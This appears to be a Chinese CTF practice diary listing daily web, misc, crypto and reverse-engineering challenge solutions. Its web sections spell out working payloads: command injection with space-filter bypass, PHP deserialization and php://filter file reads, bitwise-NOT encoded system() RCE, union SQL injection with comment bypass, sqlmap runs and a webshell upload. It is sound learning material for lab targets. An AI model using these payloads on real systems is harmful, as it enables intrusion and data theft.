①[SWPUCTF 2021 新生赛]no_wakeup

construct:初始化类的属性 $admin$passwd

wakeup:当对象被反序列化时触发,将 $passwd 的值通过 sha1() 函数进行哈希处理

构造 pop链

输出 

 __wakeup的魔术方法:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

所以输入O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

② [SWPUCTF 2021 新生赛]PseudoProtocols

题目要找hint.php,直接访问行不通 ,那就理解题目,PseudoProtocols是伪协议的意思

构造 filter伪协议

 base64解码

访问test2222222222222.php

 读一下php代码

检查是否设置了$a,并且file_get_contents($a)的返回值是否等于"I want flag",如果条件满足,输出$flag变量的值。

 伪造data://协议:?a=data://text/plain,I want flag

 ③ [FSCTF 2023]webshell是啥捏 

 找到目录 

过滤有flag的文件 

2、Misc

 [LitCTF 2023]这羽毛球怎么只有一半啊(恼 (初级) 

010打开图片 

010修改高度就可以看到flag 

3、Crypto

  [SWPUCTF 2021 新生赛]crypto7

md5解密 

4、Reverse 

[NISACTF 2022]sign-ezc++ 

没有壳 

 ida查看主函数

查看Human

flag进行了异或操作

 脚本异或得到flag

2.5 

1、Web

[GXYCTF 2019]Ping Ping Ping

输入127.0.0.1;ls 

构造?ip=127.0.0.1;cat flag

空格被过滤,构造:?ip=127.0.0.1;cat$IFS$19flag.php

flag被过滤

折回去试试index

?ip=127.0.0.1;cat$IFS$9index.php

可以看到很多符号都被过滤了

还剩一个变量a

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php,查看源码

2、Misc

 直接无法打开xlsx文件,010打开

发现存在txt文件,修改后缀名为zip

将得到xls文件用010打开 ,使用相同的方法得到zip文件

 zip文件用010打开,找到密钥

Rc4key:ABCDEFGHIJKLMNOPQRSTUVWXYZ
Rc4密文:U2FsdGVkX19uI2lzmxYrQ9mc16y7la7qc7VTS8gLaUKa49gzXPclxRXVsRJxWz/p

3、Crypto

 [SWPUCTF 2021 新生赛]ez_rsa

4、Reverse

①[NSSRound#3 Team]jump_by_jump

查壳 

在ida中打开,找到主函数 

发现爆红,并且无法反汇编 

jz,jnz命令分别是当零标志位为1时和当零标志位位0时跳转,跳过loc_41188C的一个字节的指令去执行下面的内容

用快捷键D直接转换为data

看wp是花指令,我不太熟悉,直接shift+F12,可以看到flag

②[NISACTF 2022]string

查壳

 查看主函数的伪代码

 看函数列表有一个flag函数,点进去看伪代码

 

关键是seed 

脚本得到flag 

 

2.6

1、Web

[ZJCTF 2019]NiZhuanSiWei 

构造?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 

构造?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 

最后进行反序列化,得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码得到flag

2、Misc

在010和图片属性中没有找到相关

试试LSB,发现一张图片

保存是一张二维码 

扫码得到flag

3、Crypto

[SWPUCTF 2021 新生赛]traditional

根据文件找到八卦图 

 

对比得到flag

二进制为:001000100 001100001 000110000 000110001 001110011 001100001 001101100 001101100

改为ASCII码 

4、Reverse

①[BJDCTF 2020]JustRE

查壳

 查找main函数的伪代码,反复跟进,找到以下

点击19999次后显示flag

flag{1999902069a45792d233ac}

②[HNCTF 2022 Week1]贝斯是什么乐器啊?

查壳 

 base64解密

 

解码后依次加i循环

a = "NRQ@PAu;8j[+(R:2806.i"
flag = ""
for i in range(len(a)):
    flag += chr(ord(a[i]) + i)
print(flag)

2.7

1、Web

[NSSCTF 2022 Spring Recruit]ezgame

大于65分就给 flag,修改条件

 ScorePoint 后面改成100 ,每次点的时候就有100分

2、Misc

[NISACTF 2022]huaji?

010打开,是jpeg格式 

重新分析图片,里面隐藏了flag.txt

文件分离后得到zip文件,需要密码,再次从010分析图片

奇怪的编码,一开始没认出来是base16

     

 试了发现  ctf_NISA_2022  才是zip的解压密码

3、Crypto

[羊城杯 2021]Bigrsa

脚本如下 

改为字节串(bytes)

4、Reverse

①[NSSCTF 2022 Spring Recruit]easy Python

给出代码的作用是 Base64 编码实现

将目标字符串进行解密 

②[HNCTF 2022 Week1]X0r

查壳,发现无壳,拖进IDA,查看主函数的伪代码

 

要求我们输入一段字符串,经过操作后,再异或运算,得到的字符串再和字符串数组   arr[]    比较

将数组   arr[] 进行反编译得到flag

2.8

1、Web

[SWPUCTF 2021 新生赛]hardrce

用wllm传参

禁用了所有字母a~z,A~Z

禁用了“/”和白名单符号

那就需要绕过这些,进行取反

执行system('ls /');

构造POC链

得到

%8C%86%8C%8B%9A%92

%93%8C%DF%D0

构造:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

得知flag的文件路径是/flllllaaaaaaggggggg

执行:system('cat /flllllaaaaaaggggggg');

构造POC链

 得到

%8C%86%8C%8B%9A%92

%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98

构造:?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

2、Misc

 用010找到密码,但不是压缩包的

将mp3文件分析得到莫斯代码进行解密

 得到字符串d43963e92b012aab,将字符串进行md5解密得到密码n1ce_try

将得到gif截取出最清晰的帧 

 

图片修改高度 

提示Veni,Vidi,Vici,凯撒解密

3、Crypto

 [SWPUCTF 2021 新生赛]crypto2

 脚本

改为字节串(bytes)

4、Reverse

 ①[SWPUCTF 2022 新生赛]upx

upx壳

脱壳 

ida抓到主函数查看伪码 

将每个字符与2异或

②[SWPUCTF 2021 新生赛]fakebase

flag 中的每个字符转换为二进制形式的字符串在转为一个整数 b1,最后使用自定义的 s_box 映射表,将整数转换为一个新的字符串

参考的wp脚本 

2.9 

1、Web

[SWPUCTF 2022 新生赛]ez_ez_php

看代码直接flag.php,果然不能得到flag,不过的到提示:php伪协议 和flag在flag中,不在flag.php

返回首页 

 存在 file 参数,就用substr函数检查该参数值的前三个字符是否为 "php",如果 file 参数的值以 "php" 开头,代码会执行 include() 函数

构造:?file=php://filter/convert.base64-encode/resource=flag

解码

2、Misc

[SWPU 2019]漂流记的马里奥

运行exe文件得到一个txt

不认识ntfs,搜了一下大概是需要查看ntfs数据流

下载NtfsStreamsEditor2查看 

 

3、Crypto

[SWPU 2020]happy

题目附件

不知道p和q

原理: 

hint1 = q + qp^3 = (1+p^3)q = q(1+p)(p^2-p+1)
hint2 = qp + qp^2 = q(1+p)p
gcd(hint1,hint2) = q(1+p)
p = hint2 / q(1+p)
q = gift // (p+1)

脚本 

改为字节串(bytes)

4、Reverse

①马老师杀毒卫士

第一步查壳,发现无壳,我们可以用ida打开exe,在string(可以用shift+F12打开)查询和flag或ctf相关的词,可以找到怀疑对象,然后发现是栅栏密码,找一个工具解决它就可以啦

②[NISACTF 2022]ezpython

查壳 

用 pyinstxtractor.py工具来进行反编译得到解析文件

修复src.pyc为src.py

提示的flag是错的

仔细看到try上方

flag = '  '
key = 'this is key'
print(decrypt1(base64.b64decode(decrypt2(flag, decrypt2('AAAAAAAAAAAfFwwRSAIWWQ==', key)))))

得到一个新的flag{5236cb7d-f4a7-4080-9bde-8b9e061609ad}

2.10

1、Web

[SWPUCTF 2021 新生赛]easyupload3.0

htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能

先上传一个.htzccess,在上传图片文件,蚁剑连接

2、Misc

[NISACTF 2022]bqt

010打开,pdf后缀

修改后缀名打开

打开pdf全选发现隐藏文字

c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd

可能是转进制,转为acill,发现不对

ascii的范围是0-127
每一个字节都减去128,再转换,得到flag

m = "  "
n=""
for i in range(0,len(m),2):
    hex = m[i:i+2]
    n+= chr(int(hex,16)-128)
print(n)

3、Crypto

[安洵杯 2019]JustBase

题目是一些杂乱的字母和符号,但从题目和末尾的两个==号,猜测是base64加密

但题目未出现1-9数字,而base64不包含!@#$%等字符,所以考虑将字符!@#$%按照键盘替换成数字1-9.

 手动替换

VGhlIGdlb2xvZ3kgb2YgdGhlIEVhcnRoJ3Mgc3VyZmFjZSBpcyBkb21pbmF0ZWQgYnkgdGhlIHBhcnRpY3VsYXIgcHJvcGVydGllcyBvZiB3YXRlci4gUHJlc2VudCBvbiBFYXJ0aCBpbiBzb2xpZCwgbGlxdWlkLCBhbmQgZ2FzZW91cyBzdGF0ZXMsIHdhdGVyIGlzIGV4Y2VwdGlvbmFsbHkgcmVhY3RpdmUuIEl0IGRpc3NvbHZlcywgdHJhbnNwb3J0cywgYW5kIHByZWNpcGl0YXRlcyBtYW55IGNoZW1pY2FsIGNvbXBvd5kcyBhbmQgaXMgY29uc3RhbnRseSBtb2RpZnlpbmcgdGhlIGZhY2Ugb2YgdGhlIEVhcnRoLiBFdmFwb3JhdGVkIGZyb20gdGhlIG9jZWFucywgd2F0ZXIgdmFwb3IgZm9ybXMgY2xvdWRzLCBzb21lIG9mIHdoaWNoIGFyZSB0cmFuc3BvcnRlZCBieSB3aW5kIG92ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBmcm9tIHRoZSBjbG91ZHMgcHJvdmlkZXMgdGhlIGVzc2VudGlhbCBhZ2VudCBvZiBjb250aW5lbnRhbCBlcm9zaW9uOiByYWluLlRoZSByYXRlIAF0IHdoaWNoIGEgbW9sZWN1bGUgb2Ygd2F0ZXIgcGFzc2VzIHRob3VnaCB0aGUgY3ljbGUgaXMgbm90IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM6IENURnsyMi1RV0VSVFlVSU8tUExLSkhHRkRTLUFaWENWQk5NfQ==
 

4、Reverse

①树木的小秘密 

第一步查壳,发现无壳后,用ida打开,搜素flag,可以根据查壳结果和 ida搜索发现要使用 pyinstxtractor.py工具来进行反编译

打开cmd,输入python pyinstxtractor.py  easy_reverse.exe,会得到以下内容

同时我们会得到文件名为 easy_reverse.exe_extracted 的一个文件,打开找到123.py,用010打开,就可找到与flag有关的内容

我们可以发现这是base64密码,找一个解密工具,就可以得到flag了!

②[SWPUCTF 2022 新生赛]xor

查壳 

ida分析

输入的字符串经过异或后要和v4比较

2.11

1、Web

  [LitCTF 2023]Flag点击就送! 

 题目提示“只有管理员才能拿到”,打开环境直接输入admin 

考虑管理员权限问题,直接抓了包,不过好像不对 

那就只能考虑Cookie欺骗

(遇到问题:session伪造与Cookie欺骗)

2、Misc

[鹤城杯 2021]New MISC

附件是pdf文件,一开始不知道怎么做,看wp知道这是pdf隐写 

wbStego4open下载,分析pdf隐藏信息 

3、Crypto

[AFCTF 2018]BASE

附件主要由A-F,0-9组成,base16解码,用脚本解码

4、Reverse

①[SWPUCTF 2021 新生赛]easyapp

查壳

这个没有后缀的附件是个zip文件,修改后缀名

查解压出来的apk文件 

ida分析

2.12

1、Web

[HDCTF 2023]Welcome To HDCTF 2023 

第一:玩一下就可以得到flag 

 第二:查看源码,找到game.js,jsfuck加密,进行解密

JSFuck是一种基于JavaScript的加密技术,使用六个不同的字符([]()!+)来编写和执行代码。 

2、Misc

[SWPU 2020]耗子尾汁

试过不需要分离帧,010分析

 

有mp4文件,foremost分离

分离得到一个txt和mp4文件,很明显txt不对,分析mp4文件

base64解密,得到sign_in,不知道用处

继续010分析mp4,有txt文件

分离得到的zip需要密码,sign_in就是

The last layer is the single table replacement password:最后一层是单表替换密码

base64到base32到base16,lvueiakxudsyqehszqhykggsyylkvvi

最后单表替换密码,不是凯撒就是仿射

flagyouhavesignedinsuccessfully

3、Crypto

[AFCTF 2018]你能看出这是什么加密么

rsa加密

0x开头的十六进制,先转换进制再带入脚本

import gmpy2
from Crypto.Util.number import long_to_bytes
q =......
p =.....
e = .....
c =......
n = q*p
# print(n)
d = gmpy2.invert(e, (p - 1) * (q - 1))
print("d=",d)
m = pow(c, d, n)
print(m)
print(long_to_bytes(m))

4、Reverse

①  [AFCTF 2018]凯撒

没有壳 

查看主函数 

sub_401850()函数:

②[HUBUCTF 2022 新生赛]help

查壳

ida分析

CreateMap是创造迷宫的函数,并在此创建断点

F7单步调试,直到找到地图

地图需要以16个为一组

check函数

 s是path,x=15,y=1,迷宫的初始位置是(15,1)

main函数提到了,flag是path进行md5

path:wwdddwwwaaawwwwwwwwwddddssssdddssdsssssssdddwwwwddsssd

NSSCTF{a8622109e2fb1296e06d5eed6f78f954}

2.13

1、Web

[SWPUCTF 2021 新生赛]error(忘记截图了)

SQL注入

sqlmap -u " url /index.php?id=1" --batch

查看所有数据库:sqlmap -u " url /index.php?id=1" --dbs --batch

查看当前数据库:sqlmap -u " url /index.php?id=1" --current-db --batch

根据返回结果查看指定数据库下的所有表:sqlmap -u "url/index.php?id=1" -D test_db --tables --batch

根据返回结果查看指定数据库指定表中的所有列名

根据返回结果查看指定数据库指定表指定列中的所有内容

2、Misc

[LitCTF 2023]Osint小麦果汁

3、Crypto

[SWPUCTF 2021 新生赛]crypto4

p和q是两个相近的质数,yafu分解

from gmpy2 import invert
import sympy
import binascii


flag = .....
n = ......
e = int(0x10001)
factors = sympy.factorint(n)
prime_factors = [factor for factor in factors if sympy.isprime(factor)]
p = prime_factors[0]
q = prime_factors[1]
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(flag, d, n)

print("素数因子:", prime_factors)
print("flag:", binascii.unhexlify(hex(m)[2:]))

4、Reverse

①[BJDCTF 2020]Easy

查壳

找到主函数 

没用,看到ques 

看wp,修改eip

②[HNCTF 2022 Week1]你知道什么是Py嘛?

检查输入字符串的长度是否为 35,并且第一个字符是否为 'N',遍历输入字符串的每个字符,计算相邻字符的异或值,并与 arr 中的值进行比较 

2.14

1、Web

[SWPUCTF 2021 新生赛]pop

GET方法上传序列化后的w00m参数,构造pop链得到flag。

当admin='w44m'&&passwd='08067'时将会包含文件flag.php并输出flag,否则输出admin和passwd两个变量的值和nono

构造:

?w00m=O%3A4%3A"w22m"%3A1%3A{s%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A{s%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A{s%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00*%00passwd"%3Bs%3A5%3A"08067"%3B}s%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B}}

2、Misc

[SWPU 2019]伟大的侦探

010打开

wllm_is_the_best_team!
得到很多图片

跳舞的小人图形密码

手搓:iloveholmesandwllm

3、Crypto

[SWPUCTF 2021 新生赛]crypto9

运行脚本 

根据提示密钥为三位

4、Reverse

①[SWPUCTF 2022 新生赛]py2

发现程序是py打包好的exe文件

可疑文件re2

打开得到源码(没截图)

脚本如下
import base64
print("Input 'start' to start game:")
scanf = input()
if scanf == 'start':
    exit(0)
if scanf == 'TlNTQ1RGe29oaGghXzNhc3lfcHlyZX0K':
    print(base64.b64decode('TlNTQ1RGe29oaGghXzNhc3lfcHlyZX0K'.encode('UTF-8')))
    os.system('pause')
else:
    print("Please input 'start' to start game~")

②[SWPUCTF 2021 新生赛]老鼠走迷宫

反编译

将文件5和struct加上后缀.pyc

在010将struct的前16位十六进制数复制到5.pyc开头

将5反编译为py

下载下来,可以找到迷宫

脚本([NSSCTF]-Reverse:[SWPUCTF 2021 新生赛]老鼠走迷宫解析(python反编译,迷宫,最优路径算法)-CSDN博客

最后将得到的进行md5加密

2.15

1、Web

[LitCTF 2023]作业管理系统

 先看看源码

看到默认账号,成功登录

上传php文件试试,成功上传

蚁剑连接,在根目录找到flag

2、Misc

[UTCTF 2020]Zero

题目提示 

 零宽隐写

flag{whyNOT@sc11_4927aajbqk14}

3、Crypto

[鹤城杯 2021]Crazy_Rsa_Tech

给出了9组n和c,并且e恒=9

参考wp:[鹤城杯 2021]Crazy_Rsa_Tech(低加密指数广播攻击)_crazy-rsa-tech-CSDN博客

4、Reverse

①[HGAME 2022 week1]easyasm

ida分析

不能查看伪码

找到一个错误的flag 

看seg001

将ax清零,从数据段中拿出数据,向左偏移4,再清零ax(看不懂了)

②[羊城杯 2020]easyre

ida

经encode_one,encode_two,encode_three.三次加密得到EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG

encode_one:base64加密

encode_two:对加密后的数据13个一组进行位置转换。

encode_three:凯撒加密,位移为3.

第一凯撒

第二位置转换

BjYjM2Mjk4NzM 
R1dIVHs2NzJjY 
0MTEzM2VhMn0= 
zQ3NzhhMzhlOD 
R1dIVHs2NzJjYzQ3NzhhMzhlODBjYjM2Mjk4NzM0MTEzM2VhMn0=

第三base64

②[WUSTCTF 2020]level3

ida

base64

被换过表

直接换表不对

base64_table 数组的前 20 个元素进行逆序操作

  • base64_table[0]base64_table[19]

  • base64_table[1]base64_table[18]

  • ...

  • base64_table[9]base64_table[10]

正确码表:TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

2.16

1、Web

[鹏城杯 2022]简单包含

post直接传

试试伪协议:flag=php://filter/read=convert.base64-encode/resource=flag.php

没有效果(一度怀疑是伪协议写错了,原来是flag可能被过滤

那就换一个

flag=php://filter/read=convert.base64-encode/resource=index.php

可以在if中看到过滤

2、Misc

[鹤城杯 2021]Misc2

没有隐藏文件,图片属性也没有,最后试了LSB

3、Crypto

[SWPUCTF 2021 新生赛]crypto5

只有n和密文,这就不懂了, 

提示:小明文攻击类型题目

from gmpy2 import iroot
import sympy
import binascii
 
flag = ......
n = .......
def small_m_atk(c, n):
    e = 2
    while e < 2 ** 10:
        i = 0
        while i < 10:
            res = iroot(c + i * n, e)
            if res[1]:
                print("破解成功!", e, i, res)
                return res[0]
            print(e, i, res)
            i += 1
        e = sympy.nextprime(e)
print("flag:", binascii.unhexlify(hex(small_m_atk(flag, n))[2:]))

4、Reverse

①[MoeCTF 2022]Base

提示

无壳,直接ida

 像base64,

②[SWPUCTF 2021 新生赛]astJS

附件是一个 JavaScript 的 AST(抽象语法树)表示,描述了一个包含函数定义和调用的程序 

 定义了一个函数 bE,它接受两个参数:strkey,bE 的作用是对字符串 str 中的每个字符进行异或操作,使用 key 作为异或的键

s = 'EXXH_MpjxBxYnjggrM~eerv'
f = 'NSSCTF'
for i in range(len(s)):
    print(chr(11^ord(s[i])),end='')
 

2.17

1、Web

[SWPUCTF 2021 新生赛]finalrce

tee 命令可以将命令的输出“分流”到多个地方,既显示在屏幕上,又保存到文件中。 

?url=l\s / | tee 1.txt 

传入 ?url=tac /flllll\aaaaaaggggggg | tee 2.txt得到flag

2、Misc

[BJDCTF 2020]认真你就输了

解压的xls文件不能打开

010分析,应该是个zip

得到一堆文件

010提示在xl文件夹的charts文件夹找到flag

3、Crypto

[AFCTF 2018]Vigenère

先不管c文件,解密

暴力破解:Vigenere Solver | guballa.de 

4、Reverse

①[HDCTF 2023]easy_asm

查壳

ida不能查看伪码

存在异或

这一串明显是密文,010更为明显

脚本如下 

enc = b'XTSDVkZecdOqOu#ciOqC}m'
flag = []
for i in range(len(enc)):
    flag.append(chr(enc[i]^0x10))
print("".join(flag))

②[羊城杯 2020]login

​编辑

反编译

​编辑

把struct和login的后缀名加上pyc

放入010,把struct中E3前的字节都插入login的最前方

​编辑

在反编译login得到.py文件

输入的长度不是 14 个字符,程序会输出 Wrong length!

对输入字符串的前 13 个字符进行逐字符异或操作,将结果存储在 code 列表中,最后一个字符直接取其 ASCII 值。

异或后解方程最后MD5加密

2.18

1、Web

[SWPUCTF 2021 新生赛]sql

源码找到参数wllm 

​编辑

先输一个?wllm=1,回显正确

输入?wllm=1 '  ,报错

输入?wllm='1 %23报错,发现空格被过滤,这个/**/ 可以绕过

输入?wllm=1'/**/group/**/by/**/1%23直到/?wllm=1'/**/group/**/by/**/4%23,回显列数为3

输入?wllm=-1'/**/union/**/select/**/1,2,3%23,判断回显位


爆库名:?wllm=-1'/**/union/**/select/**/1,2,database()%23

 爆表名:?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

爆字段:?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23

查flag:?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23

flag不完整,可能长度被限制了,看wp知道下一步mid函数,没太搞懂

2、Misc

[SWPUCTF 2021 新生赛]我flag呢?

附件有很多干扰的flag 

感觉挺蒙的,大佬说是词频统计

from collections import Counter

f = open('附件.txt', 'r') // 附件的地址

str = f.read()

str1 = ''

for i in range(len(str)):

    if str[i] == "{":

        str1 += str[i + 1:i + 17].lower()

cla = Counter(str1)

flag = cla.most_common()

print(flag)

for i in range(len(flag)):

    print((flag[i][0]), end='')

f.close()
按大小次序排序,yourflagis81e57d2bc90364t

flag=NSSCTF{81e57d2bc90364},看wp才知道t不要

3、Crypto

[NSSCTF 2022 Spring Recruit]Vigenere

暴力破解

4、Reverse 

①[HNCTF 2022 WEEK2]TTTTTTTTTea

ida查主函数

把flag放入v4数组中,对 v4 的后半部分(v4[8]v4[13])进行 TEA 加密,tea_encrypt 函数对每对整数(v4[8]v4[9]v4[10]v4[11]v4[12]v4[13])进行加密。

32 轮加密操作:对 v5 进行位移和异或操作,使用密钥表(a2)中的值进行异或操作,更新 v6v5 的值,更新轮数计数器 v4

②[CISCN 2022 东北]easycpp

查壳 

ida分析主函数

sub_140002B60 函数将输入内容赋给Src,长度赋给Size

定义flag的长度38,对输入数据 Src 进行逐字节的异或操作,将处理后的数据 Src 与预设的数据 Buf2 进行比较

Buf2 在静态分析中找不到,就设置断点在v12 = &Buf2进行动态分析就可以找到密文

脚本如下: 

key=[10,  11, 125,  47, 127, 103, 101,  48,  99,  96,
   55,  63,  60,  63,  51,  58,  60,  59,  53,  60,
   62, 108, 100,  49, 100, 108,  59, 104,  97,  98,
   101,  54,  51,  96,  98,  54,  28, 125, 0]
i=37
while i>2:
    key[i-1]=key[i-1]^key[i]
    key[i-2]=key[i-2]^key[i-1]
    key[i-3]=key[i-3]^key[i-2]
    i=i-1
flag=""
for j in range(len(key)):
    flag+=chr(key[j])
print(flag)

2.19

1、Web

[NSSCTF 2022 Spring Recruit]babyphp

​编辑

a不含数字而且intval取整数

a[]=0

​编辑

b1不等于b2,但b1和b2的md5值相同,弱比较问题

a[]=0&b1[]=1&b2[]=2

​编辑

传入c1和c2,且c1不等于c2,且c1和c2都要是字符串类型,

a[]=0&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a

​编辑

2、Misc

[SWPUCTF 2021 新生赛]zipbomb

 zipbomb:压缩炸弹,也称为“死亡压缩包”(zip of death),是一种精心设计的压缩文件,其目的是在解压缩时消耗大量的计算资源,从而导致系统崩溃或程序无法正常运行

提示不解压,那怎么办?

看wp找了一个脚本 

import os.path
import zipfile
import re

dir_path='    '   #压缩包地址
files= os.listdir(dir_path)
newfiles = ["zipbomb.zip"]
print(newfiles)
setee = []
for file in newfiles: 
    position = dir_path+'\\'+ file 
    print (position)
    z = zipfile.ZipFile(position, 'r')
    for filename in z.namelist():
        bytes = z.read(filename)
        if b'NSSCTF{' in bytes:
            print(filename)
最后将得到的AAAA用010打开

3、Crypto

[BJDCTF 2020]rsa

给了两个密文

那就差e

from gmpy2 import gcd, invert

import binascii

c1 = 12641635617803746150332232646354596292707861480200207537199141183624438303757120570096741248020236666965755798009656547738616399025300123043766255518596149348930444599820675230046423373053051631932557230849083426859490183732303751744004874183062594856870318614289991675980063548316499486908923209627563871554875612702079100567018698992935818206109087568166097392314105717555482926141030505639571708876213167112187962584484065321545727594135175369233925922507794999607323536976824183162923385005669930403448853465141405846835919842908469787547341752365471892495204307644586161393228776042015534147913888338316244169120

n1 = 13508774104460209743306714034546704137247627344981133461801953479736017021401725818808462898375994767375627749494839671944543822403059978073813122441407612530658168942987820256786583006947001711749230193542370570950705530167921702835627122401475251039000775017381633900222474727396823708695063136246115652622259769634591309421761269548260984426148824641285010730983215377509255011298737827621611158032976420011662547854515610597955628898073569684158225678333474543920326532893446849808112837476684390030976472053905069855522297850688026960701186543428139843783907624317274796926248829543413464754127208843070331063037

n2 = 12806210903061368369054309575159360374022344774547459345216907128193957592938071815865954073287532545947370671838372144806539753829484356064919357285623305209600680570975224639214396805124350862772159272362778768036844634760917612708721787320159318432456050806227784435091161119982613987303255995543165395426658059462110056431392517548717447898084915167661172362984251201688639469652283452307712821398857016487590794996544468826705600332208535201443322267298747117528882985955375246424812616478327182399461709978893464093245135530135430007842223389360212803439850867615121148050034887767584693608776323252233254261047

# 提示给出

e = 52361

q = gcd(n1, n2)

p1 = n1 // q

phi1 = (p1 - 1) * (q - 1)

d1 = invert(e, phi1)

m1 = pow(c1, d1, n1)

print(q)

print("flag:", binascii.unhexlify(hex(m1)[2:]))

4、Reverse

①[MoeCTF 2022]begin

ida分析

输入的字符串 Str 的每个字符进行异或操作,使用的异或值为 0x19

将处理后的字符串 Str 与预设的正确字符串 Str2 进行比较

得到数组

脚本

arr = [.....]

flag = ''
for ch in arr:
    flag += chr(ch ^ 0x19)
print(flag)

# moectf{X0r_1s_s0_int3r3sting!!!!!}

②[HNCTF 2022 WEEK2]来解个方程?

ida

查看check函数

字符串的长度22,线性方程验证输入字符串的字符值

 找一个线性方程的脚本 

from z3 import *
import Solver

s = Solver()
n = 24
x = [Int('s' + str(i)) for i in range(0, 24)]
s.add(
   
)
if s.check() == sat:
    print(s.model())
    m = s.model()
    ordered_solution = [m[x[i]].as_long() for i in range(2, n)]
    print("按顺序排列的解:", ordered_solution)

解出:

78,83,83,67,84,70,123,112,105,112,95,105,110,115,116,64,108,108,95,90,51,125

得到flag

2.20

1、Web

[HNCTF 2022 Week1]Interesting_include

php://filter用来读取源码 

输入?filter=flag.php,什么都没有

伪协议:?filter=php://filter/convert.base64-encode/resource=flag.php

base64解密

2、Misc

[BJDCTF 2020]藏藏藏

010分析图片,查找常见的后缀名

隐藏docx文件,foremost文件分离

docx里面有一个二维码,识别得到flag

3、Crypto

[SWPUCTF 2021 新生赛]crypto1

共模攻击:用两个及以上的公钥(n,e)来加密同一条信息m

import gmpy2

import libnum

c1 =

c2=

n =

for e1 in range(1,3087):

    if 3087 % e1 == 0 :

        e2 = 3087 // e1

        s0, s1, s2 = gcdext(e1,e2)

        m_s0 = pow(c1,s1,n) * pow(c2,s2,n) % n

        m = long_to_bytes(iroot(m_s0,s0)[0])

        if m[0:6] == b'NSSCTF':

            print(m)

4、Reverse

①[SWPUCTF 2022 新生赛]py1

这是一个介绍异或的题,第一种解法是按照题目计算 

第二种解法pyinstxtractor.py反编译,将re1和struct后缀名改为pyc,在010将struct从E3开始到re1的E3之前的插入re1,反编译re1为py文件

②[WUSTCTF 2020]Cr0ssfun

无壳,ida打开

查看check

check 该函数直接调用了另一个函数 iven_is_handsome继续追踪

数组 a1 进行了一系列的检查,调用另一个函数 iven_is_c0ol 

经过很多的验证,得到
arr = [119,99,116,102,50,48,50,48,123,99,112,112,95,64,110,100,95,114,51,118,101,114,115,101,95,64,114,101,95,102,117,110,125]

脚本:

enc = [.......]
flag = " "
for i in range(len(enc)):
    flag += chr(enc[i])
print(flag)
 

2.21

1、Web

[鹤城杯 2021]EasyP

推荐wp:[鹤城杯 2021]EasyP-CSDN博客

POST 传入了 guess ,代码会将它与 $secret 进行比较,但不知道secret

出现utils.php和show_source过滤

GET传入show_source

所以我妈需要绕过show_source且不为空,使basename($_SERVER['PHP_SELF'])值为utils.php

2、Misc

[BJDCTF 2020]一叶障目

得到一张图片,010分析 

修改图片高 

png文件头:89 50 4E 47 0D 0A 1A 0A

图片宽:0010h的前四位

图片高:在宽后面

​ 

得到flag 

3、Crypto

[BJDCTF 2020]EasyRSA

c,e,n已知,求出p,q即可

4、Reverse

①[SWPUCTF 2022 新生赛]贪吃蛇

wp:[SWPUCTF 2022 新生赛]贪吃蛇_ctf贪吃蛇-CSDN博客 

没有壳

ida分析

胜利条件判断是减去了4,分数大于60得到flag

②[SWPUCTF 2023 秋季新生赛]UPX

脱壳

ida

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值